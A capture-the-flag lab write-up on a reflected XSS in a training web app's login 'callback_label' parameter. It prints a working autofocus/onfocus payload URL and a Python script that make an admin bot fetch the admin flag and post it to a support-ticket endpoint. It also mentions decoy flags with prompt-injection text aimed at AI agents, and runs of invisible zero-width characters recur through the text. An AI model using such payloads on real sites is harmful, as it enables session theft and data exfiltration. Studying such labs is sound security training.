← Back to Writeups
CUSTOMMediumWeb

Lab 293 — CloudNest — Reflected XSS in Login Callback Label

XESXOR9/10/20265 min read
#web#custom#medium#admin_bot_exploitation#autofocus_onfocus_xss_trigger#button_element_breakout#honeypot_avoidance#localhost_url_discovery#reflected_xss_exploitation#same_origin_data_exfiltration#support_ticket_exfiltration

Lab 293 — CloudNest — Reflected XSS in Login Callback Label

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-09 | Status: Solved Techniques: admin_bot_exploitation, autofocus_onfocus_xss_trigger, button_element_breakout, honeypot_avoidance, localhost_url_discovery, reflected_xss_exploitation, same_origin_data_exfiltration, support_ticket_exfiltration

Summary

Task: Express.js workspace platform with admin bot URL review, reflected XSS in callback_label parameter on /login page. Solution: Injected autofocus/onfocus XSS payload via button breakout, used localhost:8080 to bypass X-XSS-Protection, exfiltrated admin flag via unauthenticated /api/support-tickets endpoint.

Lab 293 — CloudNest — Reflected XSS in Login Callback Label — hackadvisor

Description

CloudNest is a unified workspace management platform built by NestLayer Inc. Organizations use it to manage projects, team members, and integrations from a single dashboard. The platform features project tracking, team collaboration, support ticketing, and an admin panel for security configuration. Users can register, manage their workspaces, and submit links for admin review. An admin bot periodically reviews URLs submitted through the platform's link review feature. Your goal is to find a vulnerability in the application that allows you to compromise the admin's session and retrieve a flag stored in the admin panel.

Credentials: user@cloudnest.io / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: Express.js web application with an admin bot that visits user-submitted URLs. The goal is to find an XSS vulnerability, exploit it in the admin bot's browser context, and exfiltrate the flag from /api/admin/flag.

Analysis

Application Structure

  • Stack: Express.js behind nginx/1.25.5
  • Authentication: connect.sid session cookie (HttpOnly, SameSite=Lax)
  • Security Headers: X-XSS-Protection: 1; mode=block, X-Content-Type-Options: nosniff, NO CSP header
  • Key Endpoints:
    • /login — POST with email, password, redirect fields
    • /dashboard — requires authentication
    • /admin — returns 403 for regular users
    • /api/admin/flag — returns JSON with flag (admin only)
    • /report — submit URLs for admin bot review (uses /api/submit-link)
    • /api/support-tickets — POST to create tickets, GET to list; works WITHOUT authentication ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Anti-Bot Honeypots

Every page contained decoy flags FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in:

  • Hidden HTML elements (position:absolute;left:-9999px)
  • HTML comments containing prompt injection text designed to trick AI agents into accepting the decoy as the real flag

These are deliberate red herrings — the real flag is only at /api/admin/flag, accessible exclusively to the admin session.

Vulnerability Discovery

The callback_label query parameter on /login is reflected without any HTML encoding inside the submit button text: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

GET /login?callback_label=<b>test</b>

Results in:

html
<button type="submit" class="btn-primary w-full justify-center py-2.5">
  <b>test</b>
</button>

Full HTML injection confirmed — <script>, <img>, <svg>, <input> tags all inject cleanly with zero sanitization.

Key Discovery: Admin Bot Uses localhost:8080

The admin bot visits submitted URLs using http://localhost:8080, NOT the external hostname. When submitting the external URL, the XSS payload was blocked — likely by the X-XSS-Protection: 1; mode=block header which detects reflected script content in the URL matching the response. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This was discovered by submitting URLs with different localhost ports (3000, 8080, 80, 8000, 5000) — only port 8080 resulted in XSS execution (confirmed by a support ticket being created as a side effect).

External Webhooks Blocked

The admin bot's network was restricted — requests to external services like webhook.site never arrived. This required same-origin exfiltration using the application's own API endpoints.

Solution

Step 1: Identify the Injection Point

The callback_label parameter on /login reflects user input directly into the HTML button element without sanitization. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Craft the XSS Payload

Inspired by a Microsoft login flow XSS writeup (by Asem Eleraky), the payload uses:

  1. </button> — close the parent button element to escape the button context
  2. <input> element with autofocus attribute — automatically receives focus on page load
  3. onfocus event handler — executes JavaScript when focus is received (no user interaction needed)
  4. tabindex="1" — makes the element focusable

This technique fires JavaScript without any user interaction — the autofocus attribute causes the browser to focus the element on page load, triggering the onfocus handler. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Exfiltrate via Same-Origin API

Since external webhooks were blocked, the /api/support-tickets endpoint was used for data exfiltration. This endpoint accepts POST requests without authentication, making it ideal for same-origin exfiltration from the XSS context.

Step 4: Submit the Exploit URL to the Admin Bot

The malicious URL submitted to the admin bot via /api/submit-link:

http://localhost:8080/login?callback_label=</button><input autofocus onfocus="fetch('/api/admin/flag').then(function(r){return r.text()}).then(function(t){fetch('/api/support-tickets',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({subject:'flag-result',message:t})})});fetch('/admin').then(function(r){return r.text()}).then(function(t){fetch('/api/support-tickets',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({subject:'admin-result',message:t.substring(0,1000)})})})\" tabindex=\"1\">

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The XSS payload in the admin bot's browser:

  1. Fetches /api/admin/flag with the admin's authenticated session cookie
  2. POSTs the flag response as a support ticket (subject: flag-result)
  3. Also fetches /admin page HTML and posts it as another ticket (subject: admin-result)

Step 5: Retrieve the Exfiltrated Data

Two new support tickets appeared from admin@cloudnest.io:

  1. flag-result: {"flag":"FLAG{REDACTED}","note":"Security audit token for authorized administrators only."}
  2. admin-result: The full HTML of the admin panel page ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
python
#!/usr/bin/env python3
"""
CloudNest Lab 293 — Reflected XSS exploit via callback_label parameter.
Exfiltrates admin flag through unauthenticated support ticket API.
"""
import requests
import urllib.parse

BASE_URL = "http://localhost:8080"  # Internal URL used by admin bot
TARGET_URL = "https://<external-host>"  # External URL for user interaction

# Step 1: Login as regular user
session = requests.Session()
session.post(f"{TARGET_URL}/login", data={
    "email": "user@cloudnest.io",
    "password": "password123"
})
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 2: Craft XSS payload
xss_payload = (
    '</button>'
    '<input autofocus onfocus="'
    "fetch('/api/admin/flag')"
    ".then(function(r){return r.text()})"
    ".then(function(t){"
    "fetch('/api/support-tickets',{"
    "method:'POST',"
    "headers:{'Content-Type':'application/json'},"
    "body:JSON.stringify({subject:'flag-result',message:t})"
    "})"
    "})"
    '" tabindex="1">'
)

# Step 3: Build the malicious URL (using localhost:8080 to bypass X-XSS-Protection)
malicious_url = f"{BASE_URL}/login?callback_label={urllib.parse.quote(xss_payload)}"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 4: Submit URL for admin bot review
session.post(f"{TARGET_URL}/api/submit-link", json={"url": malicious_url})

# Step 5: Check support tickets for exfiltrated flag
import time
time.sleep(10)
tickets = session.get(f"{TARGET_URL}/api/support-tickets").json()
for ticket in tickets:
    if ticket.get("subject") == "flag-result":
        print(f"Flag: {ticket['message']}")

What Didn't Work

AttemptResult
External hostname URLsXSS blocked (likely X-XSS-Protection auditor or different origin handling)
External webhooks (webhook.site)Bot's network blocked external connections
<script> tag injectionBlocked by X-XSS-Protection auditor
<img src=x onerror=...>Blocked by X-XSS-Protection
<svg onload=...>Blocked by X-XSS-Protection
<iframe srcdoc=...>Blocked
<object data="data:text/html,...">Blocked
Various localhost ports (3000, 80, 8000, 5000)Only 8080 worked
Decoy flags FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}Honeypots with prompt injection text
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍